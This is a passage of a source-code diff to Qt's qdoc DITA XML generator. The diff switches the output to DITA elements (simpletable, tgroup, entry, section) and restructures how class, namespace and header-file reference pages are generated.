</tr> + xmlWriter().writeStartElement("simpletable"); + xmlWriter().writeAttribute("outputclass","valuelist"); + xmlWriter().writeStartElement("sthead"); + xmlWriter().writeStartElement("stentry"); + xmlWriter().writeCharacters("Constant"); + xmlWriter().writeEndElement(); // </stentry> + xmlWriter().writeStartElement("stentry"); + xmlWriter().writeCharacters("Value"); + xmlWriter().writeEndElement(); // </stentry> + xmlWriter().writeStartElement("stentry"); + xmlWriter().writeCharacters("Description"); + xmlWriter().writeEndElement(); // </stentry> + xmlWriter().writeEndElement(); // </sthead> } else { - writer.writeStartElement("table"); - writer.writeAttribute("outputclass","valuelist"); - writer.writeStartElement("tr"); - writer.writeStartElement("th"); - writer.writeCharacters("Constant"); - writer.writeEndElement(); // </th> - writer.writeStartElement("th"); - writer.writeCharacters("Value"); - writer.writeEndElement(); // </th> - writer.writeEndElement(); // </tr> + xmlWriter().writeStartElement("simpletable"); + xmlWriter().writeAttribute("outputclass","valuelist"); + xmlWriter().writeStartElement("sthead"); + xmlWriter().writeStartElement("stentry"); + xmlWriter().writeCharacters("Constant"); + xmlWriter().writeEndElement(); // </stentry> + xmlWriter().writeStartElement("stentry"); + xmlWriter().writeCharacters("Value"); + xmlWriter().writeEndElement(); // </stentry> + xmlWriter().writeEndElement(); // </sthead> } } else { - writer.writeStartElement("ol"); + xmlWriter().writeStartElement("ol"); if (atom->string() == ATOM_LIST_UPPERALPHA) - writer.writeAttribute("type","A"); + xmlWriter().writeAttribute("outputclass","upperalpha"); else if (atom->string() == ATOM_LIST_LOWERALPHA) - writer.writeAttribute("type","a"); + xmlWriter().writeAttribute("outputclass","loweralpha"); else if (atom->string() == ATOM_LIST_UPPERROMAN) - writer.writeAttribute("type","I"); + xmlWriter().writeAttribute("outputclass","upperroman"); else if (atom->string() == ATOM_LIST_LOWERROMAN) - writer.writeAttribute("type","i"); + xmlWriter().writeAttribute("outputclass","lowerroman"); else // (atom->string() == ATOM_LIST_NUMERIC) - writer.writeAttribute("type","1"); - if (atom->next() != 0 && atom->next()->string().toInt() != 1) - writer.writeAttribute("start",atom->next()->string()); + xmlWriter().writeAttribute("outputclass","numeric"); + if (atom->next() != 0 && atom->next()->string().toInt() != 1) { + // I don't think this attribute is supported. + xmlWriter().writeAttribute("start",atom->next()->string()); + } } break; case Atom::ListItemNumber: @@ -1127,19 +1191,17 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; case Atom::ListTagLeft: if (atom->string() == ATOM_LIST_TAG) { - writer.writeStartElement("dt"); + xmlWriter().writeStartElement("dt"); } else { // (atom->string() == ATOM_LIST_VALUE) - writer.writeStartElement("tr"); - writer.writeStartElement("td"); - writer.writeAttribute("outputclass","topAlign"); - writer.writeStartElement("tt"); - writer.writeCharacters(protectEnc(plainCode(marker->markedUpEnumValue(atom->next()->string(), - relative)))); - writer.writeEndElement(); // </tt> - writer.writeEndElement(); // </td> - writer.writeStartElement("td"); - writer.writeAttribute("outputclass","topAlign"); + xmlWriter().writeStartElement("strow"); + xmlWriter().writeStartElement("stentry"); + xmlWriter().writeStartElement("tt"); + writeCharacters(protectEnc(plainCode(marker->markedUpEnumValue(atom->next()->string(), + relative)))); + xmlWriter().writeEndElement(); // </tt> + xmlWriter().writeEndElement(); // </stentry> + xmlWriter().writeStartElement("stentry"); QString itemValue; if (relative->type() == Node::Enum) { @@ -1148,105 +1210,124 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, } if (itemValue.isEmpty()) - writer.writeCharacters("?"); + xmlWriter().writeCharacters("?"); else { - writer.writeStartElement("tt"); - writer.writeCharacters(protectEnc(itemValue)); - writer.writeEndElement(); // </tt> + xmlWriter().writeStartElement("tt"); + writeCharacters(protectEnc(itemValue)); + xmlWriter().writeEndElement(); // </tt> } skipAhead = 1; } break; case Atom::ListTagRight: if (atom->string() == ATOM_LIST_TAG) - writer.writeEndElement(); // </dt> + xmlWriter().writeEndElement(); // </dt> break; case Atom::ListItemLeft: if (atom->string() == ATOM_LIST_TAG) { - writer.writeStartElement("dd"); + xmlWriter().writeStartElement("dd"); } else if (atom->string() == ATOM_LIST_VALUE) { if (threeColumnEnumValueTable) { - writer.writeEndElement(); // </td> - writer.writeStartElement("td"); - writer.writeAttribute("outputclass","topAlign"); - if (matchAhead(atom, Atom::ListItemRight)) - writer.writeCharacters(" "); + xmlWriter().writeEndElement(); // </stentry> + xmlWriter().writeStartElement("stentry"); } } else { - writer.writeStartElement("li"); + xmlWriter().writeStartElement("li"); } if (matchAhead(atom, Atom::ParaLeft)) skipAhead = 1; break; case Atom::ListItemRight: if (atom->string() == ATOM_LIST_TAG) { - writer.writeEndElement(); // </dd> + xmlWriter().writeEndElement(); // </dd> } else if (atom->string() == ATOM_LIST_VALUE) { - writer.writeEndElement(); // </td> - writer.writeEndElement(); // </tr> + xmlWriter().writeEndElement(); // </stentry> + xmlWriter().writeEndElement(); // </strow> } else { - writer.writeEndElement(); // </li> + xmlWriter().writeEndElement(); // </li> } break; case Atom::ListRight: if (atom->string() == ATOM_LIST_BULLET) { - writer.writeEndElement(); // </ul> + xmlWriter().writeEndElement(); // </ul> } else if (atom->string() == ATOM_LIST_TAG) { - writer.writeEndElement(); // </dl> + xmlWriter().writeEndElement(); // </dl> } else if (atom->string() == ATOM_LIST_VALUE) { - writer.writeEndElement(); // </table> + xmlWriter().writeEndElement(); // </simpletable> } else { - writer.writeEndElement(); // </ol> + xmlWriter().writeEndElement(); // </ol> } break; case Atom::Nop: // nothing break; case Atom::ParaLeft: - writer.writeStartElement("p"); + xmlWriter().writeStartElement("p"); + if (inLegaleseText) + xmlWriter().writeAttribute("outputclass","legalese"); in_para = true; break; case Atom::ParaRight: endLink(); if (in_para) { - writer.writeEndElement(); // </p? + xmlWriter().writeEndElement(); // </p> in_para = false; } break; case Atom::QuotationLeft: - writer.writeStartElement("blockquote"); + xmlWriter().writeStartElement("lq"); break; case Atom::QuotationRight: - writer.writeEndElement(); // </blockquote> + xmlWriter().writeEndElement(); // </lq> break; case Atom::RawString: - writer.writeCharacters(atom->string()); + if (atom->string() == " ") + break; + if (atom->string().startsWith("&")) + writeCharacters(atom->string()); + else if (atom->string() == "<sup>*</sup>") { + xmlWriter().writeStartElement("sup"); + writeCharacters("*"); + xmlWriter().writeEndElement(); // </sup> + } + else { + xmlWriter().writeStartElement("pre"); + xmlWriter().writeAttribute("outputclass","raw-html"); + writeCharacters(atom->string()); + xmlWriter().writeEndElement(); // </pre> + } break; case Atom::SectionLeft: - writer.writeStartElement("p"); + if (inSection || inApiDesc) { + inApiDesc = false; + xmlWriter().writeEndElement(); // </section> or </apiDesc> + } + inSection = true; + xmlWriter().writeStartElement("section"); writeGuidAttribute(Doc::canonicalTitle(Text::sectionHeading(atom).toString())); - writer.writeAttribute("outputclass","target"); - writer.writeCharacters(protectEnc(Text::sectionHeading(atom).toString())); - writer.writeEndElement(); // </p> + xmlWriter().writeAttribute("outputclass","details"); break; case Atom::SectionRight: - // nothing + if (inSection) { + inSection = false; + xmlWriter().writeEndElement(); // </section> + } break; case Atom::SectionHeadingLeft: - writer.writeStartElement("p"); + xmlWriter().writeStartElement("title"); hx = "h" + QString::number(atom->string().toInt() + hOffset(relative)); - writer.writeAttribute("outputclass",hx); + xmlWriter().writeAttribute("outputclass",hx); inSectionHeading = true; break; case Atom::SectionHeadingRight: - writer.writeEndElement(); // </p> (see case Atom::SectionHeadingLeft) + xmlWriter().writeEndElement(); // </title> (see case Atom::SectionHeadingLeft) inSectionHeading = false; break; case Atom::SidebarLeft: @@ -1260,67 +1341,93 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, generateLink(atom, relative, marker); } else { - writer.writeCharacters(protectEnc(atom->string())); + writeCharacters(protectEnc(atom->string())); } break; case Atom::TableLeft: - if (in_para) { - writer.writeEndElement(); // </p> - in_para = false; + { + if (in_para) { + xmlWriter().writeEndElement(); // </p> + in_para = false; + } + xmlWriter().writeStartElement("table"); + numTableRows = 0; + if (tableColumnCount != 0) { + qDebug() << "ERROR: Nested tables!"; + tableColumnCount = 0; + } + tableColumnCount = countTableColumns(atom->next()); + xmlWriter().writeStartElement("tgroup"); + xmlWriter().writeAttribute("cols",QString::number(tableColumnCount)); + inTableHeader = false; + inTableBody = false; } - writer.writeStartElement("table"); - writer.writeAttribute("outputclass","generic"); - numTableRows = 0; break; case Atom::TableRight: - writer.writeEndElement(); // </table> + xmlWriter().writeEndElement(); // </tbody> + xmlWriter().writeEndElement(); // </tgroup> + xmlWriter().writeEndElement(); // </table> + inTableHeader = false; + inTableBody = false; + tableColumnCount = 0; break; case Atom::TableHeaderLeft: - writer.writeStartElement("thead"); - writer.writeStartElement("tr"); - writer.writeAttribute("outputclass","qt-style topAlign"); + if (inTableBody) { + xmlWriter().writeEndElement(); // </tbody> + xmlWriter().writeEndElement(); // </tgroup> + xmlWriter().writeEndElement(); // </table> + inTableHeader = false; + inTableBody = false; + tableColumnCount = 0; + xmlWriter().writeStartElement("table"); + numTableRows = 0; + tableColumnCount = countTableColumns(atom); + xmlWriter().writeStartElement("tgroup"); + xmlWriter().writeAttribute("cols",QString::number(tableColumnCount)); + } + xmlWriter().writeStartElement("thead"); + xmlWriter().writeAttribute("valign","top"); + xmlWriter().writeStartElement("row"); + xmlWriter().writeAttribute("valign","top"); inTableHeader = true; + inTableBody = false; break; case Atom::TableHeaderRight: - writer.writeEndElement(); // </tr> + xmlWriter().writeEndElement(); // </row> if (matchAhead(atom, Atom::TableHeaderLeft)) { skipAhead = 1; - writer.writeStartElement("tr"); - writer.writeAttribute("outputclass","qt-style topAlign"); + xmlWriter().writeStartElement("row"); + xmlWriter().writeAttribute("valign","top"); } else { - writer.writeEndElement(); // </thead> + xmlWriter().writeEndElement(); // </thead> inTableHeader = false; + inTableBody = true; + xmlWriter().writeStartElement("tbody"); } break; case Atom::TableRowLeft: - writer.writeStartElement("tr"); - if (++numTableRows % 2 == 1) - writer.writeAttribute("outputclass","odd topAlign"); - else - writer.writeAttribute("outputclass","even topAlign"); + if (!inTableHeader && !inTableBody) { + inTableBody = true; + xmlWriter().writeStartElement("tbody"); + } + xmlWriter().writeStartElement("row"); + xmlWriter().writeAttribute("valign","top"); break; case Atom::TableRowRight: - writer.writeEndElement(); // </tr>\n"; + xmlWriter().writeEndElement(); // </row> break; case Atom::TableItemLeft: { - if (inTableHeader) - writer.writeStartElement("th"); - else - writer.writeStartElement("td"); - + xmlWriter().writeStartElement("entry"); QStringList spans = atom->string().split(","); if (spans.size() == 2) { -#if zzz - - if (spans.at(0) != "1") - out() << " colspan=\"" << spans.at(0) << "\""; - if (spans.at(1) != "1") - out() << " rowspan=\"" << spans.at(1) << "\""; -#endif - if (!inTableHeader) - writer.writeStartElement("p"); + if (inTableHeader || + (spans[0].toInt() != 1) || + (spans[1].toInt() != 1)) { + QString s = "span(" + spans[0] + "," + spans[1] + ")"; + xmlWriter().writeAttribute("outputclass",s); + } } if (matchAhead(atom, Atom::ParaLeft)) skipAhead = 1; @@ -1328,10 +1435,9 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; case Atom::TableItemRight: if (inTableHeader) - writer.writeEndElement(); // </th> + xmlWriter().writeEndElement(); // </entry> else { - writer.writeEndElement(); // </p> - writer.writeEndElement(); // </td> + xmlWriter().writeEndElement(); // </entry> } if (matchAhead(atom, Atom::ParaLeft)) skipAhead = 1; @@ -1339,7 +1445,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, case Atom::TableOfContents: { int numColumns = 1; - const Node *node = relative; + const Node* node = relative; Doc::SectioningUnit sectioningUnit = Doc::Section4; QStringList params = atom->string().split(","); @@ -1366,30 +1472,32 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, } break; case Atom::Target: - writer.writeStartElement("p"); + if (in_para) { + xmlWriter().writeEndElement(); // </p> + in_para = false; + } + xmlWriter().writeStartElement("p"); writeGuidAttribute(Doc::canonicalTitle(atom->string())); - writer.writeAttribute("outputclass","target"); - writer.writeCharacters(protectEnc(atom->string())); - writer.writeEndElement(); // </p> + xmlWriter().writeAttribute("outputclass","target"); + //xmlWriter().writeCharacters(protectEnc(atom->string())); + xmlWriter().writeEndElement(); // </p> break; case Atom::UnhandledFormat: - writer.writeStartElement("b"); - writer.writeAttribute("outputclass","redFont"); - writer.writeCharacters("<Missing DITAXML>"); - writer.writeEndElement(); // </b> + xmlWriter().writeStartElement("b"); + xmlWriter().writeAttribute("outputclass","error"); + xmlWriter().writeCharacters("<Missing DITAXML>"); + xmlWriter().writeEndElement(); // </b> break; case Atom::UnknownCommand: - writer.writeStartElement("b"); - writer.writeAttribute("outputclass","redFont code"); - writer.writeCharacters(protectEnc(atom->string())); - writer.writeEndElement(); // </b> + xmlWriter().writeStartElement("b"); + xmlWriter().writeAttribute("outputclass","error unknown-command"); + writeCharacters(protectEnc(atom->string())); + xmlWriter().writeEndElement(); // </b> break; -#ifdef QDOC_QML case Atom::QmlText: case Atom::EndQmlText: // don't do anything with these. They are just tags. break; -#endif default: // unknownAtom(atom); break; @@ -1398,294 +1506,510 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, } /*! - Generate a reference page for a C++ class. + Generate a <cxxClass> element (and all the stuff inside it) + for the C++ class represented by \a innerNode. \a marker is + for marking up the code. I don't know what that means exactly. */ void DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* marker) { - QList<Section> sections; QList<Section>::ConstIterator s; - const ClassNode* cn = 0; - const NamespaceNode* namespasse = 0; - QString title; QString rawTitle; QString fullTitle; if (inner->type() == Node::Namespace) { - namespasse = const_cast<NamespaceNode*>(static_cast<const NamespaceNode*>(inner)); + const NamespaceNode* nsn = const_cast<NamespaceNode*>(static_cast<const NamespaceNode*>(inner)); rawTitle = marker->plainName(inner); fullTitle = marker->plainFullName(inner); title = rawTitle + " Namespace"; + + /* + Note: Because the C++ specialization we are using + has no <cxxNamespace> element, we are using the + <cxxClass> element with an outputclass attribute + set to "namespace" . + */ + generateHeader(inner, fullTitle); + generateBrief(inner, marker); // <shortdesc> + + // not included: <prolog> + + xmlWriter().writeStartElement(CXXCLASSDETAIL); + xmlWriter().writeStartElement(CXXCLASSDEFINITION); + writeLocation(nsn); + xmlWriter().writeEndElement(); // <cxxClassDefinition> + + xmlWriter().writeStartElement("apiDesc"); + xmlWriter().writeAttribute("spectitle",title); + Text brief = nsn->doc().briefText(); // zzz + if (!brief.isEmpty()) { + xmlWriter().writeStartElement("p"); + generateText(brief, nsn, marker); + xmlWriter().writeEndElement(); // </p> + } + generateIncludes(nsn, marker); + generateStatus(nsn, marker); + generateThreadSafeness(nsn, marker); + generateSince(nsn, marker); + xmlWriter().writeEndElement(); // </apiDesc> + + bool needOtherSection = false; + QList<Section> summarySections; + summarySections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay); + s = summarySections.begin(); + while (s != summarySections.end()) { + if (s->members.isEmpty() && s->reimpMembers.isEmpty()) { + if (!s->inherited.isEmpty()) + needOtherSection = true; + } + else { + QString attr; + if (!s->members.isEmpty()) { + xmlWriter().writeStartElement("section"); + attr = cleanRef((*s).name).toLower() + " redundant"; + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + writeCharacters(protectEnc((*s).name)); + xmlWriter().writeEndElement(); // </title> + generateSection(s->members, inner, marker, CodeMarker::Summary); + generateSectionInheritedList(*s, inner, marker); + xmlWriter().writeEndElement(); // </section> + } + if (!s->reimpMembers.isEmpty()) { + QString name = QString("Reimplemented ") + (*s).name; + attr = cleanRef(name).toLower() + " redundant"; + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + writeCharacters(protectEnc(name)); + xmlWriter().writeEndElement(); // </title> + generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); + generateSectionInheritedList(*s, inner, marker); + xmlWriter().writeEndElement(); // </section> + } + } + ++s; + } + if (needOtherSection) { + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass","additional-inherited-members redundant"); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h3"); + xmlWriter().writeCharacters("Additional Inherited Members"); + xmlWriter().writeEndElement(); // </title> + s = summarySections.begin(); + while (s != summarySections.end()) { + if (s->members.isEmpty()) + generateSectionInheritedList(*s, inner, marker); + ++s; + } + xmlWriter().writeEndElement(); // </section> + } + + writeDetailedDescription(nsn, marker, false, QString("Detailed Description")); + xmlWriter().writeEndElement(); // </cxxClassDetail> + + // not included: <related-links> + // not included: <cxxClassNested> + + QList<Section> detailSections; + detailSections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay); + s = detailSections.begin(); + while (s != detailSections.end()) { + if ((*s).name == "Classes") { + writeNestedClasses((*s),nsn); + break; + } + ++s; + } + + s = detailSections.begin(); + while (s != detailSections.end()) { + if ((*s).name == "Function Documentation") { + writeFunctions((*s),nsn,marker); + } + else if ((*s).name == "Type Documentation") { + writeEnumerations((*s),marker); + writeTypedefs((*s),marker); + } + else if ((*s).name == "Namespaces") { + qDebug() << "Nested namespaces" << outFileName(); + } + else if ((*s).name == "Macro Documentation") { + writeMacros((*s),marker); + } + ++s; + } + + generateLowStatusMembers(inner,marker,CodeMarker::Obsolete); + generateLowStatusMembers(inner,marker,CodeMarker::Compat); + xmlWriter().writeEndElement(); // </cxxClass> } else if (inner->type() == Node::Class) { - cn = const_cast<ClassNode*>(static_cast<const ClassNode*>(inner)); + const ClassNode* cn = const_cast<ClassNode*>(static_cast<const ClassNode*>(inner)); rawTitle = marker->plainName(inner); fullTitle = marker->plainFullName(inner); title = rawTitle + " Class Reference"; - generateHeader(inner); - - writer.writeStartElement(CXXCLASS); - writer.writeAttribute("id",cn->guid()); - writer.writeStartElement(APINAME); - writer.writeCharacters(fullTitle); - writer.writeEndElement(); // </apiName> + generateHeader(inner, fullTitle); + generateBrief(inner, marker); // <shortdesc> - generateBrief(inner, marker); + // not included: <prolog> - writer.writeStartElement(CXXCLASSDETAIL); - writer.writeStartElement(CXXCLASSDEFINITION); - writer.writeStartElement(CXXCLASSACCESSSPECIFIER); - writer.writeAttribute("value",inner->accessString()); - writer.writeEndElement(); // <cxxClassAccessSpecifier> + xmlWriter().writeStartElement(CXXCLASSDETAIL); + xmlWriter().writeStartElement(CXXCLASSDEFINITION); + xmlWriter().writeStartElement(CXXCLASSACCESSSPECIFIER); + xmlWriter().writeAttribute("value",inner->accessString()); + xmlWriter().writeEndElement(); // <cxxClassAccessSpecifier> if (cn->isAbstract()) { - writer.writeStartElement(CXXCLASSABSTRACT); - writer.writeAttribute("name","abstract"); - writer.writeAttribute("value","abstract"); - writer.writeEndElement(); // </cxxClassAbstract> + xmlWriter().writeStartElement(CXXCLASSABSTRACT); + xmlWriter().writeAttribute("name","abstract"); + xmlWriter().writeAttribute("value","abstract"); + xmlWriter().writeEndElement(); // </cxxClassAbstract> } - writeDerivations(cn, marker); - writeLocation(cn); - writer.writeEndElement(); // <cxxClassDefinition> - writer.writeStartElement(APIDESC); + writeDerivations(cn, marker); // <cxxClassDerivations> + + // not included: <cxxClassTemplateParameters> - if (!inner->doc().isEmpty()) { - writer.writeStartElement("p"); - writer.writeAttribute("outputclass","h2"); - writer.writeCharacters("Detailed Description"); - writer.writeEndElement(); // </p> - generateBody(inner, marker); - // generateAlsoList(inner, marker); + writeLocation(cn); + xmlWriter().writeEndElement(); // <cxxClassDefinition> + + xmlWriter().writeStartElement("apiDesc"); + xmlWriter().writeAttribute("spectitle",title); + Text brief = cn->doc().briefText(); // zzz + if (!brief.isEmpty()) { + xmlWriter().writeStartElement("p"); + generateText(brief, cn, marker); + xmlWriter().writeEndElement(); // </p> + } + generateIncludes(cn, marker); + generateStatus(cn, marker); + generateInherits(cn, marker); + generateInheritedBy(cn, marker); + generateThreadSafeness(cn, marker); + generateSince(cn, marker); + xmlWriter().writeEndElement(); // </apiDesc> + + bool needOtherSection = false; + QList<Section> summarySections; + summarySections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay); + s = summarySections.begin(); + while (s != summarySections.end()) { + if (s->members.isEmpty() && s->reimpMembers.isEmpty()) { + if (!s->inherited.isEmpty()) + needOtherSection = true; + } + else { + QString attr; + if (!s->members.isEmpty()) { + xmlWriter().writeStartElement("section"); + attr = cleanRef((*s).name).toLower() + " redundant"; + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + writeCharacters(protectEnc((*s).name)); + xmlWriter().writeEndElement(); // </title> + generateSection(s->members, inner, marker, CodeMarker::Summary); + generateSectionInheritedList(*s, inner, marker); + xmlWriter().writeEndElement(); // </section> + } + if (!s->reimpMembers.isEmpty()) { + QString name = QString("Reimplemented ") + (*s).name; + attr = cleanRef(name).toLower() + " redundant"; + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + writeCharacters(protectEnc(name)); + xmlWriter().writeEndElement(); // </title> + generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); + generateSectionInheritedList(*s, inner, marker); + xmlWriter().writeEndElement(); // </section> + } + } + ++s; } - - writer.writeEndElement(); // </apiDesc> - writer.writeEndElement(); // </cxxClassDetail> + if (needOtherSection) { + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass","additional-inherited-members redundant"); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h3"); + xmlWriter().writeCharacters("Additional Inherited Members"); + xmlWriter().writeEndElement(); // </title> + s = summarySections.begin(); + while (s != summarySections.end()) { + if (s->members.isEmpty()) + generateSectionInheritedList(*s, inner, marker); + ++s; + } + xmlWriter().writeEndElement(); // </section> + } + + writeDetailedDescription(cn, marker, false, QString("Detailed Description")); + + // not included: <example> or <apiImpl> - sections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay); - s = sections.begin(); - while (s != sections.end()) { + xmlWriter().writeEndElement(); // </cxxClassDetail> + + // not included: <related-links> + // not included: <cxxClassNested> + + QList<Section> detailSections; + detailSections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay); + s = detailSections.begin(); + while (s != detailSections.end()) { if ((*s).name == "Member Function Documentation") { writeFunctions((*s),cn,marker); } else if ((*s).name == "Member Type Documentation") { - writeEnumerations((*s),cn,marker); - writeTypedefs((*s),cn,marker); + writeEnumerations((*s),marker); + writeTypedefs((*s),marker); } else if ((*s).name == "Member Variable Documentation") { - writeDataMembers((*s),cn,marker); + writeDataMembers((*s),marker); } else if ((*s).name == "Property Documentation") { - writeProperties((*s),cn,marker); + writeProperties((*s),marker); } else if ((*s).name == "Macro Documentation") { - writeMacros((*s),cn,marker); + writeMacros((*s),marker); } ++s; } - writer.writeEndElement(); // </cxxClass> - } - -#ifdef WRITE_HTML - Text subtitleText; - if (rawTitle != fullTitle) - subtitleText << "(" << Atom(Atom::AutoLink, fullTitle) << ")" - << Atom(Atom::LineBreak); - - QString shortVersion; - shortVersion = project + " " + shortVersion + ": "; - shortVersion = myTree->version(); - if (shortVersion.count(QChar('.')) == 2) - shortVersion.truncate(shortVersion.lastIndexOf(QChar('.'))); - if (!shortVersion.isEmpty()) { - if (project == "QSA") - shortVersion = "QSA " + shortVersion + ": "; - else - shortVersion = "Qt " + shortVersion + ": "; - } - - out() << " <title>" << shortVersion << protectEnc(title) << "</title>\n"; - -#if 0 - out() << QString(postHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - generateBreadCrumbs(title,node,marker); - out() << QString(postPostHeader).replace("\\" + COMMAND_VERSION, myTree->version()); -#endif - - sections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay); - generateTableOfContents(inner,marker,§ions); - generateTitle(title, subtitleText, SmallSubTitle, inner, marker); -#ifdef QDOC_QML - if (cn && !cn->qmlElement().isEmpty()) { - generateInstantiatedBy(cn,marker); + generateLowStatusMembers(inner,marker,CodeMarker::Obsolete); + generateLowStatusMembers(inner,marker,CodeMarker::Compat); + xmlWriter().writeEndElement(); // </cxxClass> } -#endif - - generateBrief(inner, marker); - generateIncludes(inner, marker); - generateStatus(inner, marker); - if (cn) { - generateInherits(cn, marker); - generateInheritedBy(cn, marker); - } - generateThreadSafeness(inner, marker); - generateSince(inner, marker); - - out() << "<ul>\n"; - - QString membersLink = generateListOfAllMemberFile(inner, marker); - if (!membersLink.isEmpty()) - out() << "<li><xref href=\"" << membersLink << "\">" - << "List of all members, including inherited members</xref></li>\n"; - - QString obsoleteLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Obsolete); - if (!obsoleteLink.isEmpty()) - out() << "<li><xref href=\"" << obsoleteLink << "\">" - << "Obsolete members</xref></li>\n"; - - QString compatLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Compat); - if (!compatLink.isEmpty()) - out() << "<li><xref href=\"" << compatLink << "\">" - << "Qt 3 support members</xref></li>\n"; - - out() << "</ul>\n"; - - bool needOtherSection = false; + else if ((inner->type() == Node::Fake) && (inner->subType() == Node::HeaderFile)) { + const FakeNode* fn = const_cast<FakeNode*>(static_cast<const FakeNode*>(inner)); + rawTitle = marker->plainName(inner); + fullTitle = marker->plainFullName(inner); + title = rawTitle; - /* - sections is built above for the call to generateTableOfContents(). - */ - s = sections.begin(); - while (s != sections.end()) { - if (s->members.isEmpty() && s->reimpMembers.isEmpty()) { - if (!s->inherited.isEmpty()) - needOtherSection = true; + /* + Note: Because the C++ specialization we are using + has no <cxxHeaderFile> element, we are using the + <cxxClass> element with an outputclass attribute + set to "headerfile" . + */ + generateHeader(inner, fullTitle); + generateBrief(inner, marker); // <shortdesc> + xmlWriter().writeStartElement(CXXCLASSDETAIL); + xmlWriter().writeStartElement("apiDesc"); + xmlWriter().writeAttribute("spectitle",title); + Text brief = fn->doc().briefText(); // zzz + if (!brief.isEmpty()) { + xmlWriter().writeStartElement("p"); + generateText(brief, fn, marker); + xmlWriter().writeEndElement(); // </p> + } + generateIncludes(fn, marker); + generateStatus(fn, marker); + generateThreadSafeness(fn, marker); + generateSince(fn, marker); + xmlWriter().writeEndElement(); // </apiDesc> + + bool needOtherSection = false; + QList<Section> summarySections; + summarySections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay); + s = summarySections.begin(); + while (s != summarySections.end()) { + if (s->members.isEmpty() && s->reimpMembers.isEmpty()) { + if (!s->inherited.isEmpty()) + needOtherSection = true; + } + else { + QString attr; + if (!s->members.isEmpty()) { + xmlWriter().writeStartElement("section"); + attr = cleanRef((*s).name).toLower() + " redundant"; + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + writeCharacters(protectEnc((*s).name)); + xmlWriter().writeEndElement(); // </title> + generateSection(s->members, inner, marker, CodeMarker::Summary); + generateSectionInheritedList(*s, inner, marker); + xmlWriter().writeEndElement(); // </section> + } + if (!s->reimpMembers.isEmpty()) { + QString name = QString("Reimplemented ") + (*s).name; + attr = cleanRef(name).toLower() + " redundant"; + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + writeCharacters(protectEnc(name)); + xmlWriter().writeEndElement(); // </title> + generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); + generateSectionInheritedList(*s, inner, marker); + xmlWriter().writeEndElement(); // </section> + } + } + ++s; } - else { - if (!s->members.isEmpty()) { - out() << "<hr />\n"; - out() << "<a name=\"" - << registerRef((*s).name.toLower()) - << "\"></a>\n"; - out() << "<h2>" << protectEnc((*s).name) << "</h2>\n"; - generateSection(s->members, inner, marker, CodeMarker::Summary); + if (needOtherSection) { + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass","additional-inherited-members redundant"); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h3"); + xmlWriter().writeCharacters("Additional Inherited Members"); + xmlWriter().writeEndElement(); // </title> + s = summarySections.begin(); + while (s != summarySections.end()) { + if (s->members.isEmpty()) + generateSectionInheritedList(*s, inner, marker); + ++s; } - if (!s->reimpMembers.isEmpty()) { - QString name = QString("Reimplemented ") + (*s).name; - out() << "<hr />\n"; - out() << "<a name=\"" - << registerRef(name.toLower()) - << "\"></a>\n"; - out() << "<h2>" << protectEnc(name) << "</h2>\n"; - generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); + xmlWriter().writeEndElement(); // </section> + } + + writeDetailedDescription(fn, marker, false, QString("Detailed Description")); + xmlWriter().writeEndElement(); // </cxxClassDetail> + + // not included: <related-links> + // not included: <cxxClassNested> + + QList<Section> detailSections; + detailSections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay); + s = detailSections.begin(); + while (s != detailSections.end()) { + if ((*s).name == "Classes") { + writeNestedClasses((*s),fn); + break; } + ++s; + } - if (!s->inherited.isEmpty()) { - out() << "<ul>\n"; - generateSectionInheritedList(*s, inner, marker, true); - out() << "</ul>\n"; + s = detailSections.begin(); + while (s != detailSections.end()) { + if ((*s).name == "Function Documentation") { + writeFunctions((*s),fn,marker); + } + else if ((*s).name == "Type Documentation") { + writeEnumerations((*s),marker); + writeTypedefs((*s),marker); + } + else if ((*s).name == "Namespaces") { + qDebug() << "Nested namespaces" << outFileName(); + } + else if ((*s).name == "Macro Documentation") { + writeMacros((*s),marker); } + ++s; } - ++s; + generateLowStatusMembers(inner,marker,CodeMarker::Obsolete); + generateLowStatusMembers(inner,marker,CodeMarker::Compat); + xmlWriter().writeEndElement(); // </cxxClass> } 